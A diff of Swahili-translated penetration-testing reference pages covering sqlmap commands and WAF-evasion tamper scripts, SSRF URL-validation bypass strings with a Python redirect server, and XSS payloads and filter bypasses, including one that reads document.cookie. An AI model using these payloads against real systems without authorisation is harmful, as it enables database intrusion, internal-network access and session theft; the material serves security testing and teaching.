@ -114,7 +118,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
[**Soma chapisho hili** ](second-order-injection-sqlmap.md)**kuhusu jinsi ya kufanya sindano za pili rahisi na ngumu kwa kutumia sqlmap.**
[**Soma chapisho hili** ](second-order-injection-sqlmap.md)**kuhusu jinsi ya kufanya sindano za pili rahisi na ngumu na sqlmap.**
## Kubadilisha Sindano
@ -122,7 +126,7 @@ sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrat
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
### Kichwa
### Kichwa cha Kwanza
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
@ -141,51 +145,51 @@ Kumbuka kwamba **unaweza kuunda tamper yako mwenyewe katika python** na ni rahis
| Tamper | Maelezo |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Hubadilisha herufi ya apostrofi na sawa yake ya UTF-8 yenye upana kamili |
| apostrophenullencode.py | Hubadilisha herufi ya apostrofi na sawa yake isiyo halali ya double unicode |
| appendnullbyte.py | Huongeza herufi ya NULL byte iliyosimbwa mwishoni mwa payload |
| base64encode.py | Base64 herufi zote katika payload iliyotolewa |
| between.py | Hubadilisha opereta kubwa zaidi ('>') na 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Hubadilisha herufi ya nafasi baada ya taarifa ya SQL na herufi halali ya random tupu. Kisha hubadilisha herufi = na opereta LIKE |
| chardoubleencode.py | Huongeza url-encode mara mbili herufi zote katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa) |
| commalesslimit.py | Hubadilisha matukio kama 'LIMIT M, N' na 'LIMIT N OFFSET M' |
| commalessmid.py | Hubadilisha matukio kama 'MID(A, B, C)' na 'MID(A FROM B FOR C)' |
| apostrophenullencode.py | Hubadilisha herufi ya apostrofi na sawa yake isiyo halali ya unicode mara mbili |
| appendnullbyte.py | Huongeza herufi ya NULL byte iliyokodishwa mwishoni mwa payload |
| base64encode.py | Hubadilisha herufi zote katika payload iliyotolewa kuwa Base64 |
| between.py | Hubadilisha opereta kubwa kuliko ('>') na 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Hubadilisha herufi ya nafasi baada ya taarifa ya SQL na herufi halali ya nasibu. Kisha hubadilisha herufi = na opereta LIKE |
| chardoubleencode.py | Hubadilisha mara mbili url-herufi zote katika payload iliyotolewa (sio kusindika zilizokodishwa tayari) |
| commalesslimit.py | Hubadilisha matukio kama 'LIMIT M, N' na 'LIMIT N OFFSET M' |
| commalessmid.py | Hubadilisha matukio kama 'MID(A, B, C)' na 'MID(A FROM B FOR C)' |
| concat2concatws.py | Hubadilisha matukio kama 'CONCAT(A, B)' na 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Huongeza url-encode herufi zote katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa) |
| charunicodeencode.py | Huongeza unicode-url-encode herufi zisizosimbwa katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa). "%u0022" |
| charunicodeescape.py | Huongeza unicode-url-encode herufi zisizosimbwa katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa). "\u0022" |
| charencode.py | Hubadilisha url-herufi zote katika payload iliyotolewa (sio kusindika zilizokodishwa tayari) |
| charunicodeencode.py | Hubadilisha unicode-url-herufi zisizokodishwa katika payload iliyotolewa (sio kusindika zilizokodishwa tayari). "%u0022" |
| charunicodeescape.py | Hubadilisha unicode-url-herufi zisizokodishwa katika payload iliyotolewa (sio kusindika zilizokodishwa tayari). "\u0022" |
| equaltolike.py | Hubadilisha matukio yote ya opereta sawa ('=') na opereta 'LIKE' |
| escapequotes.py | Huondoa slashi herufi za nukuu (' na ") |
| greatest.py | Hubadilisha opereta kubwa zaidi ('>') na sawa yake ya 'GREATEST' |
| escapequotes.py | Huondoa kukwama kwa nukuu (' na ") |
| greatest.py | Hubadilisha opereta kubwa kuliko ('>') na sawa yake ya 'GREATEST' |
| halfversionedmorekeywords.py | Huongeza maoni ya MySQL yenye toleo kabla ya kila neno muhimu |
| ifnull2ifisnull.py | Hubadilisha matukio kama 'IFNULL(A, B)' na 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Huongeza maoni yenye toleo kwa swali lote |
| modsecurityzeroversioned.py | Huongeza maoni yasiyo na toleo kwa swali lote |
| multiplespaces.py | Huongeza nafasi nyingi kuzunguka maneno muhimu ya SQL |
| nonrecursivereplacement.py | Hubadilisha maneno muhimu ya SQL yaliyowekwa awali na uwakilishi unaofaa kwa kubadilisha (e.g. .replace("SELECT", "")) filters |
| ifnull2ifisnull.py | Hubadilisha matukio kama 'IFNULL(A, B)' na 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Huongeza maelezo kamili ya swali na maoni yenye toleo |
| modsecurityzeroversioned.py | Huongeza maelezo kamili ya swali na maoni yasiyo na toleo |
| multiplespaces.py | Huongeza nafasi nyingi kuzunguka maneno muhimu ya SQL |
| nonrecursivereplacement.py | Hubadilisha maneno muhimu ya SQL yaliyowekwa awali na uwakilishi yanayofaa kwa kubadilisha (mfano. .replace("SELECT", "")) filters |
| percentage.py | Huongeza alama ya asilimia ('%') mbele ya kila herufi |
| overlongutf8.py | Hubadilisha herufi zote katika payload iliyotolewa (sio kusindika zilizotangulia kusimbwa) |
| randomcase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya kesi ya random |
| randomcomments.py | Huongeza maoni ya random kwa maneno muhimu ya SQL |
| securesphere.py | Huongeza mfuatano maalum wa kusanifu |
| sp_password.py | Huongeza 'sp_password' mwishoni mwa payload kwa ajili ya kuficha kiotomatiki kutoka kwa kumbukumbu za DBMS |
| overlongutf8.py | Hubadilisha herufi zote katika payload iliyotolewa (sio kusindika zilizokodishwa tayari) |
| randomcase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya kesi nasibu |
| randomcomments.py | Huongeza maoni ya nasibu kwa maneno muhimu ya SQL |
| securesphere.py | Huongeza mfuatano maalum wa kuundwa |
| sp_password.py | Huongeza 'sp_password' mwishoni mwa payload kwa ajili ya kuficha kiotomatiki kutoka kwa kumbukumbu za DBMS |
| space2comment.py | Hubadilisha herufi ya nafasi (' ') na maoni |
| space2dash.py | Hubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mfuatano wa random na mstari mpya ('\n') |
| space2hash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa random na mstari mpya ('\n') |
| space2morehash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa random na mstari mpya ('\n') |
| space2mssqlblank.py | Hubadilisha herufi ya nafasi (' ') na herufi tupu ya random kutoka kwa seti halali ya herufi mbadala |
| space2dash.py | Hubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n') |
| space2hash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n') |
| space2morehash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n') |
| space2mssqlblank.py | Hubadilisha herufi ya nafasi (' ') na herufi ya nasibu kutoka seti halali ya herufi mbadala |
| space2mssqlhash.py | Hubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mstari mpya ('\n') |
| space2mysqlblank.py | Hubadilisha herufi ya nafasi (' ') na herufi tupu ya random kutoka kwa seti halali ya herufi mbadala |
| space2mysqlblank.py | Hubadilisha herufi ya nafasi (' ') na herufi ya nasibu kutoka seti halali ya herufi mbadala |
| space2mysqldash.py | Hubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mstari mpya ('\n') |
| space2plus.py | Hubadilisha herufi ya nafasi (' ') na plus ('+') |
| space2randomblank.py | Hubadilisha herufi ya nafasi (' ') na herufi tupu ya random kutoka kwa seti halali ya herufi mbadala |
| space2plus.py | Hubadilisha herufi ya nafasi (' ') na plus ('+') |
| space2randomblank.py | Hubadilisha herufi ya nafasi (' ') na herufi ya nasibu kutoka seti halali ya herufi mbadala |
| symboliclogical.py | Hubadilisha opereta za AND na OR na sawa zao za alama (&& na |
| unionalltounion.py | Hubadilisha UNION ALL SELECT na UNION SELECT |
| unmagicquotes.py | Hubadilisha herufi ya nukuu (') na mchanganyiko wa byte nyingi %bf%27 pamoja na maoni ya jumla mwishoni (ili kufanya ifanye kazi) |
| uppercase.py | Hubadilisha kila herufi ya neno muhimu na thamani ya herufi kubwa 'INSERT' |
| varnish.py | Huongeza kichwa cha HTTP 'X-originating-IP' |
| versionedkeywords.py | Huweka kila neno muhimu lisilo la kazi na maoni ya MySQL yenye toleo |
| versionedmorekeywords.py | Huweka kila neno muhimu na maoni ya MySQL yenye toleo |
| xforwardedfor.py | Huongeza kichwa cha HTTP bandia 'X-Forwarded-For' |
| versionedkeywords.py | Huweka kila neno muhimu lisilo la kazi ndani ya maoni ya MySQL yenye toleo |
| versionedmorekeywords.py | Huweka kila neno muhimu ndani ya maoni ya MySQL yenye toleo |
| xforwardedfor.py | Huongeza kichwa cha HTTP bandia 'X-Forwarded-For' |
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -5,6 +5,7 @@
### Localhost
```bash
# Localhost
0 # Yes, just 0 is localhost in Linuc
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
@ -108,7 +109,7 @@ attacker。com
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```
### Mchanganyiko wa Kikoa
### Kichanganyiko cha Kikoa
```bash
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
@ -145,7 +146,7 @@ next={domain}&next=attacker.com
```
### Paths and Extensions Bypass
Ikiwa unahitajika kwamba URL lazima iishe kwa njia au kiendelezi, au lazima iwe na njia unaweza kujaribu moja ya bypass zifuatazo:
Ikiwa unahitajika kwamba URL lazima iishe kwa njia au kiambatisho, au lazima iwe na njia unaweza kujaribu moja ya bypass zifuatazo:
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
@ -153,7 +154,7 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzzing
Chombo [**recollapse**](https://github.com/0xacb/recollapse) kinaweza kuunda tofauti kutoka kwa ingizo lililotolewa ili kujaribu kupita regex inayotumika. Angalia [**hii posti**](https://0xacb.com/2022/11/21/recollapse/) pia kwa maelezo zaidi.
The tool [**recollapse**](https://github.com/0xacb/recollapse) inaweza kuunda tofauti kutoka kwa ingizo lililotolewa ili kujaribu kupita regex inayotumika. Angalia [**hii posti**](https://0xacb.com/2022/11/21/recollapse/) pia kwa maelezo zaidi.
### Automatic Custom Wordlists
@ -165,8 +166,8 @@ https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet
### Bypass via redirect
Inaweza kuwa inawezekana kwamba seva inachuja **ombio la asili** la SSRF **lakini sio** jibu la **redirect** lililowezekana kwa ombi hilo.\
Kwa mfano, seva iliyo hatarini kwa SSRF kupitia: `url=https://www.google.com/` inaweza kuwa inachuja **paramu ya url**. Lakini ikiwa unatumia [seva ya python kujibu na 302](https://pastebin.com/raw/ywAUhFrv) kwa mahali unapotaka kuelekeza, unaweza kuwa na uwezo wa **kufikia anwani za IP zilizochujwa** kama 127.0.0.1 au hata **protokali** zilizochujwa kama gopher.\
Inaweza kuwa inawezekana kwamba seva inachuja **ombio la asili** la SSRF **lakini sio** jibu la **redirect** linalowezekana kwa ombi hilo.\
Kwa mfano, seva iliyo hatarini kwa SSRF kupitia: `url=https://www.google.com/` inaweza kuwa inachuja **param ya url**. Lakini ikiwa unatumia [seva ya python kujibu na 302](https://pastebin.com/raw/ywAUhFrv) kwa mahali unapotaka kuelekeza, unaweza kuwa na uwezo wa **kufikia anwani za IP zilizochujwa** kama 127.0.0.1 au hata **protokali** zilizochujwa kama gopher.\
[Angalia ripoti hii.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -188,25 +189,25 @@ self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
## Tricks Zilizofafanuliwa
## Explained Tricks
### Blackslash-trick
_Mbackslash-trick_ inatumia tofauti kati ya [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) na [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Wakati RFC3986 ni mfumo wa jumla wa URIs, WHATWG ni maalum kwa URLs za wavuti na inakubaliwa na vivinjari vya kisasa. Tofauti kuu iko katika kutambuliwa kwa backslash (`\`) kama sawa na forward slash (`/`) katika kiwango cha WHATWG, ikihusiana na jinsi URLs zinavyopaswa, hasa ikionyesha mpito kutoka kwa jina la mwenyeji hadi njia katika URL.
The _backslash-trick_ inatumia tofauti kati ya [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) na [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Wakati RFC3986 ni mfumo wa jumla wa URIs, WHATWG ni maalum kwa URLs za wavuti na inakubaliwa na vivinjari vya kisasa. Tofauti kuu iko katika kutambuliwa kwa kiwango cha WHATWG kwa backslash (`\`) kama sawa na forward slash (`/`), ikihusisha jinsi URLs zinavyosomwa, hasa ikionyesha mpito kutoka kwa jina la mwenyeji hadi njia katika URL.
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg)
### Left square bracket
Character ya “left square bracket” `[` katika sehemu ya userinfo inaweza kusababisha UriComponentsBuilder ya Spring kurudisha thamani ya jina la mwenyeji inayotofautiana na vivinjari: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
Character ya “left square bracket” `[` katika sehemu ya userinfo inaweza kusababisha UriComponentsBuilder ya Spring kurudisha thamani ya jina la mwenyeji ambayo inatofautiana na vivinjari: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
### Mchanganyiko Mwingine
### Other Confusions
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../images/image (600).png>)
picha kutoka [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
## Marejeo
## References
- [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)

View File

@ -15,7 +15,7 @@
2. Ndani ya **HTML tag**:
1. Je, unaweza kutoka kwenye muktadha wa HTML safi?
2. Je, unaweza kuunda matukio/mapitio mapya ili kutekeleza JS code?
3. Je, sifa ambapo umekamatwa inasaidia utekelezaji wa JS?
3. Je, sifa ambapo umekwama inasaidia utekelezaji wa JS?
4. Je, unaweza kupita ulinzi?
3. Ndani ya **JavaScript code**:
1. Je, unaweza kutoroka `<script>` tag?
@ -43,7 +43,7 @@ Ili kufanikiwa kutumia XSS, jambo la kwanza unahitaji kupata ni **thamani inayod
## Contexts
Unapojaribu kutumia XSS, jambo la kwanza unahitaji kujua ni **wapi ingizo lako linaporudi**. Kulingana na muktadha, utaweza kutekeleza JS code bila mipaka kwa njia tofauti.
Unapojaribu kutumia XSS, jambo la kwanza unahitaji kujua ni **wapi ingizo lako linaporudi**. Kulingana na muktadha, utaweza kutekeleza JS code isiyo na mipaka kwa njia tofauti.
### Raw HTML
@ -56,7 +56,7 @@ Ikiwa ingizo lako linarudi ndani ya thamani ya sifa ya tag unaweza kujaribu:
1. Kutoroka **kutoka kwenye sifa na kutoka kwenye tag** (kisha utakuwa kwenye HTML safi) na kuunda vitambulisho vipya vya HTML ili kutumia: `"><img [...]`
2. Ikiwa **unaweza kutoroka kutoka kwenye sifa lakini si kutoka kwenye tag** (`>` imeandikwa au kufutwa), kulingana na tag unaweza **kuunda tukio** linalotekeleza JS code: `" autofocus onfocus=alert(1) x="`
3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), basi kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code bila mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia protokali `javascript:` kutekeleza code bila mipaka: **`href="javascript:alert(1)"`**
3. Ikiwa **huwezi kutoroka kutoka kwenye sifa** (`"` inandikwa au kufutwa), basi kulingana na **sifa ipi** thamani yako inarudi ndani **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze code isiyo na mipaka wakati inabonyezwa. Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia protokali `javascript:` kutekeleza code isiyo na mipaka: **`href="javascript:alert(1)"`**
4. Ikiwa ingizo lako linarudi ndani ya "**vitambulisho visivyoweza kutumika**" unaweza kujaribu hila ya **`accesskey`** kutumia udhaifu (utahitaji aina fulani ya uhandisi wa kijamii ili kutumia hii): **`" accesskey="x" onclick="alert(1)" x="`**
Mfano wa ajabu wa Angular inatekeleza XSS ikiwa unadhibiti jina la darasa:
@ -69,7 +69,7 @@ Mfano wa ajabu wa Angular inatekeleza XSS ikiwa unadhibiti jina la darasa:
Katika kesi hii, ingizo lako linarejelewa kati ya **`<script> [...] </script>`** lebo za ukurasa wa HTML, ndani ya faili ya `.js` au ndani ya sifa kwa kutumia **`javascript:`** itifaki:
- Ikiwa inarejelewa kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakitagundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
- Ikiwa inarejelewa kati ya **`<script> [...] </script>`** lebo, hata kama ingizo lako liko ndani ya aina yoyote ya nukuu, unaweza kujaribu kuingiza `</script>` na kutoroka kutoka kwenye muktadha huu. Hii inafanya kazi kwa sababu ** kivinjari kitaanza kwanza kuchambua lebo za HTML** na kisha yaliyomo, kwa hivyo, hakiwezi kugundua kwamba lebo yako ya kuingiza `</script>` iko ndani ya msimbo wa HTML.
- Ikiwa inarejelewa **ndani ya mfuatano wa JS** na hila ya mwisho haifanyi kazi, unahitaji **kutoka** kwenye mfuatano, **kufanya** msimbo wako na **kurekebisha** msimbo wa JS (ikiwa kuna kosa lolote, halitatekelezwa):
- `'-alert(1)-'`
- `';-alert(1)//`
@ -98,9 +98,9 @@ Njia nzuri ya kugundua ikiwa kitu kilichotolewa moja kwa moja na mtumiaji kinaja
![](<../../images/image (711).png>)
Ikiwa ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu uta **thibitisha maudhui** ili kuruhusu herufi, nambari, alama za nukta na alama za chini tu (**`[\w\._]`**).
Ikiwa ni hatari, unaweza kuwa na uwezo wa **kuanzisha tahadhari** kwa kutuma tu thamani: **`?callback=alert(1)`**. Hata hivyo, ni kawaida sana kwamba mwisho huu uta **thibitisha maudhui** ili kuruhusu herufi, nambari, alama za nukta na viwango vya chini tu (**`[\w\._]`**).
Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengee chochote katika DOM**:
Hata hivyo, hata na kikomo hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia herufi hizo halali ili **kufikia kipengele chochote katika DOM**:
![](<../../images/image (747).png>)
@ -114,9 +114,9 @@ parentElement
```
Unaweza pia kujaribu **kuanzisha kazi za Javascript** moja kwa moja: `obj.sales.delOrders`.
Hata hivyo, kawaida mwisho wa kutekeleza kazi iliyoonyeshwa ni mwisho bila DOM ya kuvutia sana, **kurasa nyingine katika chanzo sawa** zitakuwa na **DOM ya kuvutia zaidi** ili kufanya vitendo zaidi.
Hata hivyo, kawaida mwisho wa kutekeleza kazi iliyoonyeshwa ni mwisho bila DOM ya kuvutia sana, **kurasa nyingine katika asili hiyo hiyo** zitakuwa na **DOM ya kuvutia zaidi** ili kufanya vitendo zaidi.
Kwa hivyo, ili **kudhulumu udhaifu huu katika DOM tofauti** uanzishwaji wa **Same Origin Method Execution (SOME)** ulitengenezwa:
Kwa hivyo, ili **kutumia udhaifu huu katika DOM tofauti** utekaji wa **Same Origin Method Execution (SOME)** ulitengenezwa:
{{#ref}}
some-same-origin-method-execution.md
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
### DOM
Kuna **kodhi ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kudhulumu hii ili kutekeleza kodhi ya JS isiyo na mipaka.
Kuna **kodі ya JS** inayotumia **kwa njia isiyo salama** baadhi ya **data inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji, anaweza kutumia hii kutekeleza kodі ya JS isiyo na mipaka.
{{#ref}}
dom-xss.md
@ -132,7 +132,7 @@ dom-xss.md
### **Universal XSS**
Aina hizi za XSS zinaweza kupatikana **popote**. Hazitegemei tu unyakuzi wa mteja wa programu ya wavuti bali katika **muktadha** **wowote**. Aina hizi za **utekelezaji wa JavaScript isiyo na mipaka** zinaweza hata kudhulumu ili kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\
Aina hii ya XSS inaweza kupatikana **popote**. Hazitegemei tu utekaji wa mteja wa programu ya wavuti bali katika **muktadha** **wowote**. Aina hii ya **utekaji wa JavaScript isiyo na mipaka** inaweza hata kutumiwa kupata **RCE**, **kusoma** **faili** **za kawaida** katika wateja na seva, na zaidi.\
Baadhi ya **esemples**:
{{#ref}}
@ -149,7 +149,7 @@ server-side-xss-dynamic-pdf.md
## Kuingiza ndani ya HTML safi
Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodhi ya HTML katika muktadha huu, **jambo** la kwanza unahitaji kufanya ni kuangalia kama unaweza kudhulumu `<` ili kuunda lebo mpya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachukuliwa **kama HTML** au **imeondolewa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kudhulumu kesi hii**.\
Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodі ya HTML katika muktadha huu, **jambo** la kwanza unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda lebo mpya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachukuliwa **kama HTML** au **imeondolewa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\
Kwa kesi hizi pia **zingatia** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Kumbuka: Maoni ya HTML yanaweza kufungwa kwa kutumia\*\*\*\*\*\***\***\*`-->`\*\***\***\*au \*\*\*\*\*\***`--!>`\*\*_
@ -162,21 +162,21 @@ alert(1)
<svg onload=alert('XSS')>
```
Lakini, ikiwa tags/attributes black/whitelisting inatumika, utahitaji **kujaribu nguvu ambazo tags** unaweza kuunda.\
Mara tu unapokuwa **umeweza kubaini ni tags zipi zinazoruhusiwa**, utahitaji **kujaribu nguvu attributes/events** ndani ya tags zilizopatikana ili kuona jinsi unavyoweza kushambulia muktadha.
Mara tu unapopata **tags zipi zinazoruhusiwa**, utahitaji **kujaribu nguvu attributes/events** ndani ya tags zilizopatikana ili kuona jinsi unavyoweza kushambulia muktadha.
### Tags/Events kujaribu nguvu
Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Copy tags to clipboard**_. Kisha, tuma zote kwa kutumia Burp intruder na angalia ikiwa kuna tags yoyote ambayo haikugunduliwa kama mbaya na WAF. Mara tu unapokuwa umepata ni tags zipi unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia tags halali (katika ukurasa huo huo bonyeza _**Copy events to clipboard**_ na ufuate utaratibu sawa kama hapo awali).
Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Copy tags to clipboard**_. Kisha, tuma zote kwa kutumia Burp intruder na angalia ikiwa kuna tags yoyote haikugunduliwa kama mbaya na WAF. Mara tu unapogundua tags zipi unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia tags halali (katika ukurasa huo huo bonyeza _**Copy events to clipboard**_ na ufuate utaratibu sawa kama hapo awali).
### Tags za kawaida
Ikiwa huja pata tag halali ya HTML, unaweza kujaribu **kuunda tag ya kawaida** na kutekeleza msimbo wa JS kwa kutumia attribute `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uangalie kwenye kitu hicho** na **utekeleze** msimbo:
Ikiwa huja pata tag halali ya HTML, unaweza kujaribu **kuunda tag ya kawaida** na kutekeleza msimbo wa JS kwa kutumia attribute `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uangalie kwenye kitu hicho** na **kutekeleza** msimbo:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Blacklist Bypasses
Ikiwa aina fulani ya blacklist inatumika unaweza kujaribu kuipita kwa hila za kipumbavu:
Ikiwa aina fulani ya blacklist inatumika unaweza kujaribu kuipita kwa mbinu za kipumbavu:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -243,7 +243,7 @@ Ikiwa ili kutumia udhaifu unahitaji **mtumiaji kubonyeza kiungo au fomu** yenye
### Impossible - Dangling Markup
Ikiwa unafikiri tu kwamba **haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS**, unapaswa kuangalia [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) kwa sababu unaweza **kutumia** udhaifu **bila** kutekeleza **JS** msimbo.
Ikiwa unafikiri tu kwamba **haiwezekani kuunda tag ya HTML yenye sifa ya kutekeleza msimbo wa JS**, unapaswa kuangalia [**Dangling Markup**](../dangling-markup-html-scriptless-injection/index.html) kwa sababu unaweza **kutumia** udhaifu **bila** kutekeleza **msimbo wa JS**.
## Injecting inside HTML tag
@ -267,12 +267,12 @@ Ikiwa **huwezi kutoroka kutoka kwa tag**, unaweza kuunda sifa mpya ndani ya tag
```
### Ndani ya sifa
Hata kama huwezi **kutoroka kutoka kwa sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa gani** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobofya.\
Hata kama huwezi **kutoroka kutoka kwa sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa gani** thamani yako inarejelewa **ikiwa unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobofya.\
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki ya `javascript:` kutekeleza msimbo wa kiholela: **`href="javascript:alert(1)"`**
**Kutoroka ndani ya tukio kwa kutumia uandishi wa HTML/URL encode**
**Herufi zilizokodishwa za HTML** ndani ya thamani ya sifa za vitambulisho vya HTML zinatolewa **wakati wa kutekeleza**. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwa maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Rudi Nyuma </a>`
